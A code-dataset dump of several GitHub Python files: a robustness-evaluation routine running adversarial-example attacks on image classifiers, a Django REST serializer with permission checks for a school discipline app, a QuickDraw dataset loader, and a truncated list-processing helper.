pred.append(prediction[j])\r\n\r\n pred = np.array(pred)\r\n return pred\r\n\r\ndef dense_to_onehot(y_test, n_cls):\r\n y_test_onehot = np.zeros([len(y_test), n_cls], dtype=bool)\r\n y_test_onehot[np.arange(len(y_test)), y_test] = True\r\n return y_test_onehot\r\n#### end for square attack\r\n\r\ndef test_adv(val_loader, model, criterion, args):\r\n \"\"\"\r\n Run adversarial evaluation\r\n \"\"\"\r\n losses = AverageMeter()\r\n top1 = AverageMeter()\r\n model.eval()\r\n\r\n if args.attack_type == 'square':\r\n print('eps:{:.3f}, max_query:{:d}, p:{:.3f}'.format(args.test_eps, args.max_query, args.p))\r\n if args.model_type == 'vanilla' or args.model_type == 'AT':\r\n version = 'standard'\r\n else:\r\n version = 'rand'\r\n adversary = AutoAttack(model, norm=args.norm, eps=args.test_eps, version=version)\r\n adversary.attacks_to_run = ['square'] \r\n adversary.square.n_queries = args.max_query\r\n adversary.square.p_init = args.p\r\n elif args.attack_type == 'simba':\r\n adversary = SimBA(model, args.dataset, image_size = 224 if args.dataset=='imagenet' else 32)\r\n elif args.attack_type == 'nes':\r\n attack_mode(model, args.gpu, batsi=args.batch_size, args = args, cfg= args.dataset + '-nes-linf-config.json')\r\n return\r\n elif args.attack_type == 'signhunter':\r\n attack_mode(model, args.gpu, batsi=args.batch_size, args = args, cfg= args.dataset + '-sign-linf-config.json')\r\n return\r\n elif args.attack_type == 'bandits':\r\n args.json_config = './QueryAttacks-json/' + args.dataset + '-bandits-linf.json'\r\n bandit_attack(args, model, val_loader)\r\n return\r\n elif args.attack_type == 'pgd':\r\n adversary = LinfPGDAttack(\r\n model, loss_fn=criterion, eps=args.test_eps, nb_iter=args.test_step, eps_iter=args.test_gamma,\r\n rand_init=args.test_randinit, clip_min=0.0, clip_max=1.0, targeted=False\r\n )\r\n elif args.attack_type == 'fgsm':\r\n adversary = GradientSignAttack(\r\n model, loss_fn=criterion, eps=args.test_eps, clip_min=0.0, clip_max=1.0, targeted=False\r\n )\r\n\r\n\r\n start = time.time()\r\n sum = 0\r\n sacc = 0\r\n adv = []\r\n label = []\r\n fea = []\r\n for i, (input, target) in enumerate(val_loader):\r\n batch = input.size(0)\r\n input = input.cuda()\r\n target = target.cuda()\r\n\r\n # adv samples\r\n if args.attack_type == 'square':\r\n if args.model_type!='vanilla' and args.model_type!='AT':\r\n p_init = args.p\r\n model_sq = ModelPT(model)\r\n input = input.cpu().numpy()\r\n target = target.cpu().numpy()\r\n logits_clean = model_sq.predict(input)\r\n corr_classified = logits_clean.argmax(1) == target\r\n y_target_onehot = dense_to_onehot(target, n_cls=args.classes)\r\n name = 'square/' + args.dataset + '-square-' + args.model_type + '-' + str(args.max_query)\r\n metrics_path = name + '.metrics'\r\n log_path = name + '.log'\r\n n_queries, input_adv, acc = square_attack_linf(model_sq, input, y_target_onehot, corr_classified, args.test_eps,\r\n n_iters=args.max_query, p_init=p_init, metrics_path=metrics_path, targeted=False,\r\n loss_type='margin_loss')\r\n sacc = sacc + acc\r\n print('{:d}, avg_acc = {:.4f}'.format(i+1, sacc/(i+1)))\r\n continue\r\n else:\r\n input_adv = adversary.run_standard_evaluation(input, target, bs=input.size(0))\r\n # print(asfsdf)\r\n # model.set_onlyout(False)\r\n # _, f = model(input)\r\n # model.set_onlyout(True)\r\n # for j in range(input.size(0)):\r\n # adv.append(input[j].cpu().detach().numpy())\r\n # fea.append(f[j].cpu().detach().numpy())\r\n # continue\r\n # visualize_feature_distribution(input_adv, target.cpu().numpy(), model)\r\n # print(asfsd)\r\n elif args.attack_type == 'simba':\r\n input_adv, probs, succs, queries, l2_norms, linf_norms, acc = adversary.simba_batch(\r\n input, target, args.max_query, args.freq_dims, args.stride, epsilon = 0.2,\r\n linf_bound=args.test_eps,\r\n order=args.order, targeted=args.targeted, pixel_attack=args.pixel_attack)\r\n sacc = sacc + acc\r\n print('{:d}, avg_acc = {:.4f}'.format(i + 1, sacc / (i + 1)))\r\n continue\r\n elif args.attack_type == 'pgd' or args.attack_type == 'fgsm':\r\n input_adv = adversary.perturb(input, target)\r\n\r\n \r\n output = model(input_adv)\r\n loss = criterion(output, target)\r\n\r\n output = output.float()\r\n loss = loss.float()\r\n prec1 = accuracy(output.data, target)[0]\r\n\r\n losses.update(loss.item(), input_adv.size(0))\r\n top1.update(prec1.item(), input_adv.size(0))\r\n\r\n if i % args.print_freq == 0:\r\n end = time.time()\r\n print('Test: [{0}/{1}]\\t'\r\n 'Loss: {losses.val:.4f} ({losses.avg:.4f})\\t'\r\n 'Accuracy {top1.val:.3f} ({top1.avg:.3f})\\t'\r\n 'Time {2:.2f}'.format(\r\n i, len(val_loader), end - start, losses=losses, top1=top1))\r\n start = time.time()\r\n \r\n # adv = np.array(adv)\r\n # feature = np.array(fea)\r\n # print(feature.shape)\r\n # np.save('adv-sample/' + args.dataset + '/' + args.model_type + '-clean.npy', adv)\r\n # np.save('adv-sample/' + args.dataset + '/' + args.model_type + '-clean-fea.npy', feature)\r\n # print(asdsf)\r\n\r\n print('Robust Accuracy {top1.avg:.3f}'.format(top1=top1))\r\n return top1.avg\r\n\r\n\r\n", "repo_name": "snowien/UniG-pytorch", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 24859, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.path.append", "line_number": 26, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 30, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 32, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.set_default_tensor_type", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 109, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 110, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 112, "usage_type": "attribute"}, {"api_name": "model.PreResNet", "line_number": 115, "usage_type": "name"}, {"api_name": "model.PreResNet.ResNet18", "line_number": 115, "usage_type": "call"}, {"api_name": "model.PreResNet.normalize", "line_number": 116, "usage_type": "attribute"}, {"api_name": "model.PreResNet", "line_number": 116, "usage_type": "name"}, {"api_name": "advertorch.utils.NormalizeByChannelMeanStd", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 119, "usage_type": "call"}, {"api_name": "model.PreResNet.load_state_dict", "line_number": 120, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 120, "usage_type": "name"}, {"api_name": "model.PreResNet", "line_number": 121, "usage_type": "name"}, {"api_name": "model.PreResNet.eval", "line_number": 124, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 124, "usage_type": "name"}, {"api_name": "model.PreResNet", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 148, "usage_type": "attribute"}, {"api_name": "model.PreResNet.parameters", "line_number": 156, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 156, "usage_type": "name"}, {"api_name": "ptflops.get_model_complexity_info", "line_number": 159, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 159, "usage_type": "argument"}, {"api_name": "model.PreResNet.eval", "line_number": 166, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 166, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 168, "usage_type": "name"}, {"api_name": "model.PreResNet", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 176, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 184, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 191, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 193, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 198, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 198, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 199, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 206, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 218, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 218, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 224, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 224, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 225, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 228, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 228, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 229, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 235, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 235, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 236, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 236, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 249, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 257, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 257, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 264, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 269, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 270, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 270, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 275, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 275, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 276, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 276, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 286, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 289, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 289, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 290, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 290, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 290, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 291, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 291, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 292, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 292, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 293, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 293, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 294, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 294, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 295, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 295, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 296, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 296, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 297, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 297, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 298, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 298, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 299, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 299, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 300, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 300, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 308, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imsave", "line_number": 317, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 317, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.get_cmap", "line_number": 317, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imsave", "line_number": 318, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 318, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.get_cmap", "line_number": 318, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 326, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToPILImage", "line_number": 329, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 329, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 331, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 331, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 343, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 362, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 365, "usage_type": "call"}, {"api_name": "cv2.addWeighted", "line_number": 370, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 370, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 373, "usage_type": "call"}, {"api_name": "sklearn.manifold.TSNE", "line_number": 391, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 396, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 396, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 398, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 398, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 398, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 399, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 399, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 400, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 400, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 401, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 401, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 404, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 404, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 407, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 407, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 408, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 408, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 411, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 411, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 412, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 412, "usage_type": "name"}, {"api_name": "model.PreResNet.set_onlyout", "line_number": 416, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 416, "usage_type": "name"}, {"api_name": "model.PreResNet.eval", "line_number": 428, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 428, "usage_type": "name"}, {"api_name": "time.time", "line_number": 429, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 434, "usage_type": "call"}, {"api_name": "time.time", "line_number": 444, "usage_type": "call"}, {"api_name": "time.time", "line_number": 451, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 469, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 474, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 481, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 481, "usage_type": "call"}, {"api_name": "model.PreResNet.eval", "line_number": 494, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 494, "usage_type": "name"}, {"api_name": "model.PreResNet", "line_number": 495, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 498, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 499, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 508, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 512, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 513, "usage_type": "call"}, {"api_name": "model.PreResNet.eval", "line_number": 523, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 523, "usage_type": "name"}, {"api_name": "autoattack.AutoAttack", "line_number": 531, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 531, "usage_type": "argument"}, {"api_name": "simba.SimBA", "line_number": 536, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 536, "usage_type": "argument"}, {"api_name": "run_attack.attack_mode", "line_number": 538, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 538, "usage_type": "argument"}, {"api_name": "run_attack.attack_mode", "line_number": 541, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 541, "usage_type": "argument"}, {"api_name": "main_bandits.bandit_attack", "line_number": 545, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 545, "usage_type": "argument"}, {"api_name": "advertorch.attacks.LinfPGDAttack", "line_number": 548, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 549, "usage_type": "argument"}, {"api_name": "advertorch.attacks.GradientSignAttack", "line_number": 553, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 554, "usage_type": "argument"}, {"api_name": "time.time", "line_number": 558, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 573, "usage_type": "argument"}, {"api_name": "attack.square_attack_linf", "line_number": 582, "usage_type": "call"}, {"api_name": "model.PreResNet", "line_number": 612, "usage_type": "call"}, {"api_name": "time.time", "line_number": 623, "usage_type": "call"}, {"api_name": "time.time", "line_number": 629, "usage_type": "call"}]} +{"seq_id": "4567810652", "text": "# This file is part of HappySchool.\n#\n# HappySchool is the legal property of its developers, whose names\n# can be found in the AUTHORS file distributed with this source\n# distribution.\n#\n# HappySchool is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# HappySchool is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with HappySchool. If not, see .\n\nfrom rest_framework import serializers\n\nfrom core.serializers import StudentSerializer\nfrom core.people import check_access_to_student\n\nfrom .models import *\nfrom . import views\n\n\nclass DossierEleveSettingsSerializer(serializers.ModelSerializer):\n class Meta:\n model = DossierEleveSettingsModel\n fields = \"__all__\"\n\n\nclass InfoEleveSerializer(serializers.ModelSerializer):\n class Meta:\n model = InfoEleve\n fields = \"__all__\"\n\n\nclass SanctionDecisionDisciplinaireSerializer(serializers.ModelSerializer):\n class Meta:\n model = SanctionDecisionDisciplinaire\n fields = \"__all__\"\n\n\nclass CasEleveSerializer(serializers.ModelSerializer):\n send_to_teachers = serializers.BooleanField(write_only=True, required=False)\n\n student = StudentSerializer(read_only=True)\n student_id = serializers.PrimaryKeyRelatedField(\n queryset=StudentModel.objects.all(), source=\"student\", required=False, allow_null=True\n )\n info = InfoEleveSerializer(read_only=True)\n info_id = serializers.PrimaryKeyRelatedField(\n queryset=InfoEleve.objects.all(), source=\"info\", required=False, allow_null=True\n )\n\n sanction_decision = SanctionDecisionDisciplinaireSerializer(read_only=True)\n sanction_decision_id = serializers.PrimaryKeyRelatedField(\n queryset=SanctionDecisionDisciplinaire.objects.all(),\n source=\"sanction_decision\",\n required=False,\n allow_null=True,\n )\n\n def validate_sanction_decision_id(self, value):\n # If submit sanction is not enable, ignore validation.\n if not views.get_settings().enable_submit_sanctions:\n return value\n if value and not self.context[\"request\"].user.has_perm(\"dossier_eleve.ask_sanction\"):\n raise serializers.ValidationError(\n \"Vous n'avez pas les droits nécessaire pour ajouter/modifier une sanction\"\n )\n return value\n\n def validate_date_sanction(self, value):\n if not self.context[\"request\"].user.has_perm(\"dossier_eleve.set_sanction\") and value:\n raise serializers.ValidationError(\n \"Vous n'avez pas les droits nécessaire pour ajouter/modifier la date d'une sanction\"\n )\n return value\n\n def validate_sanction_faite(self, value):\n if not self.context[\"request\"].user.has_perm(\"dossier_eleve.set_sanction\") and value:\n raise serializers.ValidationError(\n \"Vous n'avez pas les droits nécessaire pour mettre une sanction comme faite\"\n )\n return value\n\n def validate_student_id(self, value):\n # Only dossier_eleve need to be checked.\n if self.context[\"request\"].path.startswith(\"/dossier_eleve/api/ask_sanctions/\"):\n return value\n\n if not check_access_to_student(\n value, self.context[\"request\"].user, tenure_class_only=False\n ):\n raise serializers.ValidationError(\n \"Vous n'avez pas les droits nécessaire pour ajouter cet élève\"\n )\n return value\n\n class Meta:\n model = CasEleve\n fields = \"__all__\"\n read_only_fields = (\n \"user\",\n \"datetime_encodage\",\n )\n\n\nclass CasAttachmentSerializer(serializers.ModelSerializer):\n class Meta:\n model = CasAttachment\n fields = \"__all__\"\n", "repo_name": "ISLNamur/happyschool", "sub_path": "dossier_eleve/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 4198, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "86", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 29, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 29, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 35, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 35, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 41, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 41, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 47, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 47, "usage_type": "name"}, {"api_name": "rest_framework.serializers.BooleanField", "line_number": 48, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 48, "usage_type": "name"}, {"api_name": "core.serializers.StudentSerializer", "line_number": 50, "usage_type": "call"}, {"api_name": "rest_framework.serializers.PrimaryKeyRelatedField", "line_number": 51, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 51, "usage_type": "name"}, {"api_name": "rest_framework.serializers.PrimaryKeyRelatedField", "line_number": 55, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 55, "usage_type": "name"}, {"api_name": "rest_framework.serializers.PrimaryKeyRelatedField", "line_number": 60, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 60, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 72, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 72, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 79, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 79, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 86, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 86, "usage_type": "name"}, {"api_name": "core.people.check_access_to_student", "line_number": 96, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 99, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 99, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 113, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 113, "usage_type": "name"}]} +{"seq_id": "39899031923", "text": "\"\"\"\nAdapted from https://github.com/vietnguyen91/QuickDraw/blob/master/src/dataset.py\n@author: Viet Nguyen \n\"\"\"\nfrom torch.utils.data import Dataset\nimport numpy as np\n\nCLASSES = (\n 'face',\n 'moustache',\n 'pear',\n 'umbrella',\n 'pineapple',\n 'mouth',\n 'nose',\n 'wine bottle',\n 'apple',\n 'octopus'\n )\n\nclass QuickdrawDataset(Dataset):\n def __init__(self, root_path=\"data\", total_images_per_class=20000, ratio=0.8, mode=\"train\", transform=None):\n self.root_path = root_path\n self.num_classes = len(CLASSES)\n self.images = [None] * (self.num_classes * total_images_per_class)\n self.transform = transform\n if mode == \"train\":\n self.offset = 0\n self.num_images_per_class = int(total_images_per_class * ratio)\n\n else:\n self.offset = int(total_images_per_class * ratio)\n self.num_images_per_class = int(total_images_per_class * (1 - ratio) + 1)\n self.num_samples = self.num_images_per_class * self.num_classes\n\n iterator = 0\n for (classidx, classname) in enumerate(CLASSES):\n file_ = \"{}/full_numpy_bitmap_{}.npy\".format(self.root_path, classname)\n classimages = np.load(file_).astype(np.float32)[self.offset : self.offset + self.num_images_per_class]\n classimages /= 255\n classimages = classimages.reshape((self.num_images_per_class, 1, 28, 28))\n print(\"loading classname \", classname, \" and its shape is \", classimages.shape)\n self.images[(classidx * self.num_images_per_class) : ((1 + classidx) * self.num_images_per_class)] = classimages\n \n\n def __len__(self):\n return self.num_samples\n\n def __getitem__(self, item):\n # file_ = \"{}/full_numpy_bitmap_{}.npy\".format(self.root_path, CLASSES[int(item / self.num_images_per_class)])\n # image = np.load(file_).astype(np.float32)[self.offset + (item % self.num_images_per_class)]\n # image /= 255\n # return image.reshape((1, 28, 28)), int(item / self.num_images_per_class)\n if self.transform:\n # print(\"BEFORE, the image was \", self.images[item].shape)\n image = self.transform(self.images[item])\n # print(\"AFTER, the image is \", image.shape)\n return item, int(item / self.num_images_per_class)\n else:\n return self.images[item], int(item / self.num_images_per_class)\n\n\nif __name__ == \"__main__\":\n training_set = QuickdrawDataset(\"data\", 500, 0.8, \"test\")\n print(training_set.__getitem__(3))", "repo_name": "dylancashman/remap_nas", "sub_path": "pytorch_optimizer/optimizers/quickdraw_dataset.py", "file_name": "quickdraw_dataset.py", "file_ext": "py", "file_size_in_byte": 2670, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 21, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 39, "usage_type": "attribute"}]} +{"seq_id": "37015906012", "text": "from typing import List\nfrom functools import reduce\n\n\ndef next_positive_in_result(result: List[List[int]], now: int) -> int:\n \"\"\"\n :param result:\n :param now: 现在指针的位置\n :return:\n \"\"\"\n for i in range(now+1, len(result)):\n if sum(result[i]) >= 0:\n return i\n return -1\n\n\ndef split_positive_negative(nums: List[int]) -> List[List[int]]:\n result = []\n # 正负分割\n positive = False if nums[0] < 0 else True\n start = 0\n end = 0\n isChange = False\n for i in range(1, len(nums)):\n iPositive = False if nums[i] < 0 else True\n # 如果符号不相等\n if not(positive is iPositive):\n result.append(nums[start:i].copy())\n start = i\n positive = not positive\n isChange = True\n # if start == len(nums) - 1: # 考虑最后一位\n result.append(nums[start:].copy()) # 帮前面的循环收尾\n if not isChange: # 符号都一样\n return [nums]\n\n return result\n\n\ndef delete_zero_at_last(l: List[int]) -> None:\n if sum(l) == 0: # 只有0不考虑\n return None\n while l[-1] == 0:\n del l[-1]\n\n\ndef merge_positive(result: List[List[int]]) -> None:\n # 试图合并正负序列\n isChange = False # result列表有没有改变\n now = 0 if sum(result[0]) > 0 else 